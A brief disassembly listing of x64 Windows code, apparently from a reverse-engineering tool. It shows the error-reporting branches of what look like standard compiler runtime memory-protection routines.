call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001878
mov rax, qword [0x140015098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]